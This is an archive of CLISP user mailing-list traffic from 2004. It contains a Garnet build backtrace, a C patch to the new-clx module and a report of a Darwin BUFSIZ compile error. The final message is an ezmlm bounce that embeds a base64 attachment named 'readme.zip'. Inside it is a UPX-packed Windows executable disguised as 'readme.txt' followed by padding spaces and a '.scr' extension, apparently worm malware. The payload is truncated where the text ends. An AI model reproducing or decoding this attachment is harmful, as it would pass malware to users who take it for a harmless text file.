#:G59729 :ADD-COMPONENT))) (IF #:G59730 (LET ((KR::*KR-SEND-SELF* #:G59729) (KR::*KR-SEND-SLOT* :ADD-COMPONENT) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59730 OPAL::THE-SCHEMA GARNET-GADGETS:ERROR-GADGET))))) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :ERROR-GADGET GARNET-GADGETS:ERROR-GADGET) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :MODAL-P (KR::O-FORMULA-FN #'(LAMBDA NIL (DECLARE (SYSTEM::SOURCE (NIL (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3))) (GVL :ERROR-GADGET :MODAL-P)))) (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3))) (KR::GV-CHAIN KR::*SCHEMA-SELF* '(:ERROR-GADGET :MODAL-P))) '(GVL :ERROR-GADGET :MODAL-P) NIL NIL))) <27> # EVAL frame for form (PROGN (LOCALLY (DECLARE (OPTIMIZE (SPEED 3) (SPACE 0))) (LET ((KR::FIRST-C-P-M (AND (NULL KR::*KR-SEND-PARENT*) (LET ((#:G59726 (VALUES (GETHASH KR::*KR-SEND-SLOT* (KR::SCHEMA-BINS KR::*KR-SEND-SELF*))))) (OR (NULL #:G59726) (LOGBITP 10 (KR::SL-BITS #:G59726))))))) (MULTIPLE-VALUE-BIND (METHOD KR::NEW-PARENT) (KR::FIND-PARENT KR::*KR-SEND-SELF* KR::*KR-SEND-SLOT*) (WHEN METHOD (IF KR::FIRST-C-P-M (MULTIPLE-VALUE-SETQ (METHOD KR::*KR-SEND-PARENT*) (KR::FIND-PARENT KR::NEW-PARENT KR::*KR-SEND-SLOT*)) (SETQ KR::*KR-SEND-PARENT* KR::NEW-PARENT)) (IF METHOD (LET ((KR::*KR-SEND-SELF* KR::*KR-SEND-PARENT*)) (FUNCALL METHOD GARNET-GADGETS:ERROR-GADGET))))))) (LET ((GARNET-GADGETS::WINDOW (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) INTERACTORS:INTERACTOR-WINDOW T T NIL NIL '(:VISIBLE) (CONS :PARENT (KR::VALUE-FN GARNET-GADGETS:ERROR-GADGET :PARENT-WINDOW)))) (GARNET-GADGETS::AGGREGATE (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) OPAL:AGGREGATE T T NIL NIL))) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :AGGREGATE GARNET-GADGETS::AGGREGATE) (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW)) (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE))) (IF #:G59728 (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA))))) (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::AGGREGATE)) (LET* ((#:G59729 OPAL::THE-SCHEMA) (#:G59730 (KR::VALUE-FN #:G59729 :ADD-COMPONENT))) (IF #:G59730 (LET ((KR::*KR-SEND-SELF* #:G59729) (KR::*KR-SEND-SLOT* :ADD-COMPONENT) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59730 OPAL::THE-SCHEMA GARNET-GADGETS:ERROR-GADGET))))) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :ERROR-GADGET GARNET-GADGETS:ERROR-GADGET) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :MODAL-P (KR::O-FORMULA-FN #'(LAMBDA NIL (DECLARE (SYSTEM::SOURCE (NIL (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3))) (GVL :ERROR-GADGET :MODAL-P)))) (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3))) (KR::GV-CHAIN KR::*SCHEMA-SELF* '(:ERROR-GADGET :MODAL-P))) '(GVL :ERROR-GADGET :MODAL-P) NIL NIL)))) <28> # APPLY frame for call (GARNET-GADGETS::INITIALIZE-METHOD-ERROR-GADGET '#k) EVAL frame for form (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA 'DIRECT-REF-QUERY-GADGET) GARNET-GADGETS:QUERY-GADGET T T NIL NIL (CONS :BUTTON-NAMES '("YES" "NO")) (CONS :MODAL-P T)) <29> # 1 <30> # <31> # EVAL frame for form (CREATE-SCHEMA 'DIRECT-REF-QUERY-GADGET :GENERATE-INSTANCE (:IS-A GARNET-GADGETS:QUERY-GADGET) (:MODAL-P T) (:BUTTON-NAMES '("YES" "NO"))) EVAL frame for form (CREATE-INSTANCE 'DIRECT-REF-QUERY-GADGET GARNET-GADGETS:QUERY-GADGET (:MODAL-P T) (:BUTTON-NAMES '("YES" "NO"))) EVAL frame for form (LOAD COMMON-LISP-USER::FINALNAME) <32> # <33> # EVAL frame for form (LET* ((COMMON-LISP-USER::HEAD (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS)) (COMMON-LISP-USER::TAIL (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS))) (COMMON-LISP-USER::PREFIX (OR (EVAL (CDR (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST #'STRING=))) (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD))) (COMMON-LISP-USER::FINALNAME (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL COMMON-LISP-USER::PREFIX))) (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME) (LOAD COMMON-LISP-USER::FINALNAME)) <34> # <35> # EVAL frame for form (IF COMMON-LISP-USER::POS (LET* ((COMMON-LISP-USER::HEAD (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS)) (COMMON-LISP-USER::TAIL (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS))) (COMMON-LISP-USER::PREFIX (OR (EVAL (CDR (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST #'STRING=))) (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD))) (COMMON-LISP-USER::FINALNAME (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL COMMON-LISP-USER::PREFIX))) (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME) (LOAD COMMON-LISP-USER::FINALNAME)) (PROGN (FORMAT T "NO COLON, Loading ~s~%" COMMON-LISP-USER::FILENAME) (LOAD COMMON-LISP-USER::FILENAME))) EVAL frame for form (LET ((COMMON-LISP-USER::POS (POSITION #\: COMMON-LISP-USER::FILENAME))) (IF COMMON-LISP-USER::POS (LET* ((COMMON-LISP-USER::HEAD (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS)) (COMMON-LISP-USER::TAIL (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS))) (COMMON-LISP-USER::PREFIX (OR (EVAL (CDR (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST #'STRING=))) (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD))) (COMMON-LISP-USER::FINALNAME (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL COMMON-LISP-USER::PREFIX))) (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME) (LOAD COMMON-LISP-USER::FINALNAME)) (PROGN (FORMAT T "NO COLON, Loading ~s~%" COMMON-LISP-USER::FILENAME) (LOAD COMMON-LISP-USER::FILENAME)))) <36> # APPLY frame for call (COMMON-LISP-USER::GARNET-LOAD '"c32:c32-lapidary") EVAL frame for form (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) <37> # 1 EVAL frame for form (TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313)) (SETQ COMMON-LISP-USER::FILE (CAR #:G101311)) (COMMON-LISP-USER::GARNET-COMPILE (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313 (RETURN-FROM NIL (PROGN NIL))) <38> # EVAL frame for form (LET* ((#:G101311 COMMON-LISP-USER::C32-FILES) (COMMON-LISP-USER::FILE NIL)) (DECLARE (LIST #:G101311)) (TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313)) (SETQ COMMON-LISP-USER::FILE (CAR #:G101311)) (COMMON-LISP-USER::GARNET-COMPILE (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313 (RETURN-FROM NIL (PROGN NIL)))) <39> # EVAL frame for form (BLOCK NIL (LET* ((#:G101311 COMMON-LISP-USER::C32-FILES) (COMMON-LISP-USER::FILE NIL)) (DECLARE (LIST #:G101311)) (TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313)) (SETQ COMMON-LISP-USER::FILE (CAR #:G101311)) (COMMON-LISP-USER::GARNET-COMPILE (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313 (RETURN-FROM NIL (PROGN NIL))))) <40> # EVAL frame for form (DO* ((#:G101311 COMMON-LISP-USER::C32-FILES (CDR #:G101311)) (COMMON-LISP-USER::FILE NIL)) ((ENDP #:G101311) NIL) (DECLARE (LIST #:G101311)) (SETQ COMMON-LISP-USER::FILE (CAR #:G101311)) (COMMON-LISP-USER::GARNET-COMPILE (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))) EVAL frame for form (DOLIST (COMMON-LISP-USER::FILE COMMON-LISP-USER::C32-FILES) (COMMON-LISP-USER::GARNET-COMPILE (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)) (COMMON-LISP-USER::GARNET-LOAD (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))) EVAL frame for form (LOAD (MERGE-PATHNAMES "c32-compiler" COMMON-LISP-USER::GARNET-C32-SRC)) <41> # <42> # EVAL frame for form (WHEN COMMON-LISP-USER::COMPILE-C32-P (FORMAT T "~% %%%%%%%%%%%%%% Compiling C32 %%%%%%%%%%%%%%% ~%") (LOAD (MERGE-PATHNAMES "c32-compiler" COMMON-LISP-USER::GARNET-C32-SRC))) <43> # EVAL frame for form (LOAD "garnet-compiler.lisp") <44> # <45> # EVAL frame for form (LOAD "build") <46> # <47> # Printed 47 frames Break 1 C32[2]> $ diff --exclude CVS -NaurtBb orig/clisp-2.32/modules/clx/new-clx/clx.f clisp-2.32/modules/clx/new-clx/clx.f --- orig/clisp-2.32/modules/clx/new-clx/clx.f 2003-11-01 00:52:04.000000000 +0100 +++ clisp-2.32/modules/clx/new-clx/clx.f 2004-01-31 09:13:18.000000000 +0100 @@ -1004,7 +1004,7 @@ pushSTACK(obj); /* save */ - pushSTACK(STACK_1); pushSTACK(`XLIB::FONT-INFO`); + pushSTACK(obj); pushSTACK(`XLIB::FONT-INFO`); funcall(L(slot_value),2); /* (slot-value obj 'font-info) */ if (!(fpointerp (value1) && fp_validp (TheFpointer(value1)))) { @@ -1065,12 +1065,16 @@ status = XGetAtomNames (dpy, xatoms, 2, names); /* X11R6 */ # endif if (status) { + char* whole = alloca(strlen(names[0])+strlen(names[1])+3); + if (!strncasecmp(names[0],"iso",3) && names[0][3] != '-') { + strcpy(whole,"ISO-"); + strcat(whole,names[0]+3); + } else strcpy(whole,names[0]); + strcat(whole,"-"); + strcat(whole,names[1]); end_x_call(); - pushSTACK(asciz_to_string (names[0], GLO(misc_encoding))); - pushSTACK(`"-"`); - pushSTACK(asciz_to_string (names[1], GLO(misc_encoding))); - value1 = string_concat(3); - pushSTACK(`:CHARSET`); pushSTACK(value1); + pushSTACK(`:CHARSET`); + pushSTACK(asciz_to_string(whole,GLO(misc_encoding))); pushSTACK(`:OUTPUT-ERROR-ACTION`); pushSTACK(fixnum(info->default_char)); funcall(L(make_encoding), 4); @@ -1078,8 +1082,8 @@ pushSTACK(`XLIB::ENCODING`); pushSTACK(value1); funcall (L(set_slot_value), 3); - } begin_x_call(); + } if (names[0]) XFree (names[0]); if (names[1]) @@ -1592,7 +1596,7 @@ { /* the XLIB object and the new value are already on the stack */ if (isa_instance_of_p (type, STACK_1)) { pushSTACK(`XLIB::PLIST`); /* the slot */ - pushSTACK(STACK_1); /* new value */ + pushSTACK(STACK_(1+1)); /* new value */ funcall (L(set_slot_value), 3); skipSTACK(1); } else my_type_error(type,STACK_0); -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From pascal@informatimago.com Sat Jan 31 21:59:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnAe3-0003pX-Ql for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 21:59:47 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AnAe1-0000BD-PE for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 21:59:46 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 8BD05586E2; Sun, 1 Feb 2004 06:59:42 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 98B5938281; Sun, 1 Feb 2004 06:57:53 +0100 (CET) Message-ID: <16412.38241.546062.718695@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> <16400.35608.66852.835748@thalassa.informatimago.com> <16401.35906.905889.746106@thalassa.informatimago.com> <16408.3347.242266.831975@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: garnet/Darwin with new-clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 31 22:00:07 2004 X-Original-Date: Sun, 1 Feb 2004 06:57:53 +0100 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-01-28 20:27:15 +0100]: > > > > With it, it goes further and stumble on a similar problem. (Tell me if > > you need more details). > > I fixed the Garnet build (and demos) in the CVS. > Please check it out. > Thanks for reporting the bugs. I've 'cvs update -A'ed and I get this error with the syscalls modules on Darwin: calls.c:291: error: `BUFSIZ' undeclared (first use in this function) calls.c:291: error: (Each undeclared identifier is reported only once calls.c:291: error: for each function it appears in.) On darwin, BUFSIZ is declared in stdio.h, but it's included only when DEBUG is defined. It should be included unconditionnally. test -d syscalls || ./lndir ../modules/syscalls syscalls if test -f syscalls/configure -a '!' -f syscalls/config.status ; then cd syscalls ; ./configure --cache-file=`echo syscalls/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi configure: loading cache ../config.cache configure: * System Calls (Tools) checking for gcc... (cached) gcc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables... checking for suffix of object files... (cached) o checking whether we are using the GNU C compiler... (cached) yes checking whether gcc accepts -g... (cached) yes checking for gcc option to accept ANSI C... (cached) none needed checking how to run the C preprocessor... (cached) gcc -E configure: * System Calls (Headers) checking for egrep... (cached) grep -E checking for ANSI C header files... (cached) yes checking whether time.h and sys/time.h may both be included... (cached) yes checking for sys/types.h... (cached) yes checking for sys/stat.h... (cached) yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking for memory.h... (cached) yes checking for strings.h... (cached) yes checking for inttypes.h... (cached) yes checking for stdint.h... (cached) yes checking for unistd.h... (cached) yes checking errno.h usability... yes checking errno.h presence... yes checking for errno.h... yes checking fcntl.h usability... yes checking fcntl.h presence... yes checking for fcntl.h... yes checking netdb.h usability... yes checking netdb.h presence... yes checking for netdb.h... yes checking sys/resource.h usability... yes checking sys/resource.h presence... yes checking for sys/resource.h... yes checking sys/utsname.h usability... yes checking sys/utsname.h presence... yes checking for sys/utsname.h... yes checking pwd.h usability... yes checking pwd.h presence... yes checking for pwd.h... yes checking for sys/stat.h... (cached) yes checking sys/time.h usability... yes checking sys/time.h presence... yes checking for sys/time.h... yes checking sys/unistd.h usability... yes checking sys/unistd.h presence... yes checking for sys/unistd.h... yes checking time.h usability... yes checking time.h presence... yes checking for time.h... yes checking for unistd.h... (cached) yes checking shlobj.h usability... no checking shlobj.h presence... no checking for shlobj.h... no checking sys/statvfs.h usability... no checking sys/statvfs.h presence... no checking for sys/statvfs.h... no checking sys/statfs.h usability... no checking sys/statfs.h presence... no checking for sys/statfs.h... no checking sys/vfs.h usability... no checking sys/vfs.h presence... no checking for sys/vfs.h... no checking for sys/types.h... (cached) yes configure: * System Calls (Functions) checking for clock... yes checking for confstr... yes checking for fcntl... yes checking for gethostent... yes checking for getrusage... yes checking for getrlimit... yes checking for sysconf... yes checking for uname... yes checking for getlogin... yes checking for getpwent... yes checking for getpwnam... yes checking for getpwuid... yes checking for getuid... yes checking for fchmod... yes checking for fchown... yes checking for fstat... yes checking for link... yes checking for lstat... yes checking for stat... yes checking for symlink... yes checking for utimes... yes checking for erf... yes checking for erfc... yes checking for lgamma... yes checking for lgamma_r... yes checking for fstatvfs... no checking for statvfs... no checking whether signgam is declared... yes configure: * System Calls (output) updating cache ../config.cache configure: creating ./config.status config.status: creating Makefile config.status: creating link.sh config.status: creating config.h configure: * System Calls (done) CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd syscalls ; dots=`echo syscalls/ | sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV" INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}unix.c ${dots}xthread.c ${dots}libcharset.h" CLFLAGS="-x none" LIBS="libcharset.a -lncurses " RANLIB="ranlib" CLISP="$CLISP -q" /usr/local/src/clisp/clisp-HEAD/src/lisp.run -M /usr/local/src/clisp/clisp-HEAD/src/lispinit.mem -B /usr/local/src/clisp/clisp-HEAD/src -Efile UTF-8 -Eterminal UTF-8 -norc -q ../modprep.fas calls.c WARNING: locale: no encoding C, using UTF-8 ;; MODPREP: "calls.c" --> #P"calls.m.c" ;; MODPREP: reading "calls.c": 51,959 bytes, 1,505 lines ;; MODPREP: 73 objects, 27 DEFUNs ;; packages: ("POSIX") MODPREP: wrote #P"calls.m.c" (81,814 bytes) Real time: 0.900096 sec. Run time: 0.51 sec. Space: 972668 Bytes GC: 1, GC time: 0.04 sec. gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I../ -c calls.m.c -o calls.o In file included from calls.c:49: ../clisp.h:101:1: warning: "PACKAGE_BUGREPORT" redefined In file included from calls.c:7: config.h:156:1: warning: this is the location of the previous definition In file included from calls.c:49: ../clisp.h:102:1: warning: "PACKAGE_NAME" redefined In file included from calls.c:7: config.h:159:1: warning: this is the location of the previous definition In file included from calls.c:49: ../clisp.h:103:1: warning: "PACKAGE_STRING" redefined In file included from calls.c:7: config.h:162:1: warning: this is the location of the previous definition In file included from calls.c:49: ../clisp.h:104:1: warning: "PACKAGE_TARNAME" redefined In file included from calls.c:7: config.h:165:1: warning: this is the location of the previous definition In file included from calls.c:49: ../clisp.h:105:1: warning: "PACKAGE_VERSION" redefined In file included from calls.c:7: config.h:168:1: warning: this is the location of the previous definition calls.c: In function `C_subr_posix_lgamma': calls.c:179: warning: implicit declaration of function `lgamma_r' calls.c: In function `C_subr_posix_confstr': calls.c:291: error: `BUFSIZ' undeclared (first use in this function) calls.c:291: error: (Each undeclared identifier is reported only once calls.c:291: error: for each function it appears in.) make[1]: *** [calls.o] Error 1 make: *** [syscalls] Error 2 -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From vim-return-@vim.org Sat Jan 31 23:11:12 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnBl3-000673-Qh for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 23:11:05 -0800 Received: from foobar.math.fu-berlin.de ([160.45.45.151]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1AnBl2-0008Nt-N3 for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 23:11:04 -0800 Received: (qmail 14273 invoked by uid 200); 1 Feb 2004 07:11:47 -0000 Mailing-List: contact vim-help@vim.org; run by ezmlm Message-ID: <1075619507.14272.ezmlm@vim.org> From: vim-return-@vim.org To: clisp-list@lists.sourceforge.net Delivered-To: responder for vim@vim.org Received: (qmail 14248 invoked from network); 1 Feb 2004 07:11:45 -0000 Received: from ice.42.org (194.77.3.162) by foobar.math.fu-berlin.de with SMTP; 1 Feb 2004 07:11:45 -0000 Received: from lists.sourceforge.net (220-244-29-170-nsw.tpgi.com.au [220.244.29.170]) by ice.42.org (Postfix) with ESMTP id 79FE51C8B6 for ; Sun, 1 Feb 2004 08:10:35 +0100 (CET) MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 1.6 LARGE_HEX BODY: Contains a large block of hexadecimal code 0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] ezmlm response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 31 23:12:10 2004 X-Original-Date: 1 Feb 2004 07:11:47 -0000 Hi! This is the ezmlm program. I'm managing the vim@vim.org mailing list. This is a generic help message. The message I received wasn't sent to any of my command addresses. --- Administrative commands for the vim list --- I can handle administrative requests automatically. Please do not send them to the list address! Instead, send your message to the correct command address: To subscribe to the list, send a message to: To remove your address from the list, send a message to: Send mail to the following for info and FAQ for this list: Similar addresses exist for the digest list: To get messages 123 through 145 (a maximum of 100 per request), mail: To get an index with subject and author for messages 123-456 , mail: They are always returned as sets of 100, max 2000 per request, so you'll actually get 100-499. To receive all messages with the same subject as message 12345, send an empty message to: The messages do not really need to be empty, but I will ignore their content. Only the ADDRESS you send to is important. You can start a subscription for an alternate address, for example "john@host.domain", just add a hyphen and your address (with '=' instead of '@') after the command word: To stop subscription for this address, mail: In both cases, I'll send a confirmation message to that address. When you receive it, simply reply to it to complete your subscription. If despite following these instructions, you do not get the desired results, please contact my owner at vim-owner@vim.org. Please be patient, my owner is a lot slower than I am ;-) --- Enclosed is a copy of the request I received. Return-Path: Received: (qmail 14248 invoked from network); 1 Feb 2004 07:11:45 -0000 Received: from ice.42.org (194.77.3.162) by foobar.math.fu-berlin.de with SMTP; 1 Feb 2004 07:11:45 -0000 Received: from lists.sourceforge.net (220-244-29-170-nsw.tpgi.com.au [220.244.29.170]) by ice.42.org (Postfix) with ESMTP id 79FE51C8B6 for ; Sun, 1 Feb 2004 08:10:35 +0100 (CET) From: clisp-list@lists.sourceforge.net To: vim-help@vim.org Subject: Date: Sun, 1 Feb 2004 18:11:19 +1100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0008_845F930A.A63EECEB" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <20040201071035.79FE51C8B6@ice.42.org> This is a multi-part message in MIME format. ------=_NextPart_000_0008_845F930A.A63EECEB Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit ------=_NextPart_000_0008_845F930A.A63EECEB Content-Type: application/octet-stream; name="readme.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="readme.zip" UEsDBAoAAAAAAGk5QTDKJx+eAFgAAABYAABUAAAAcmVhZG1lLnR4dCAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2Ny TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUA AEwBAwAAAAAAAAAAAAAAAADgAA8BCwEHAABQAAAAEAAAAGAAAGC+AAAAcAAAAMAAAAAASgAAEAAA AAIAAAQAAAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQ AAAAAAAAAAAAAADowQAAMAEAAADAAADoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABgAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADg VVBYMQAAAAAAUAAAAHAAAABQAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADAAAAA BAAAAFQAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAMS4yNABVUFghDAkCCUh+iY/UNhyBKZYAAFNOAAAAgAAAJgEAxe6H 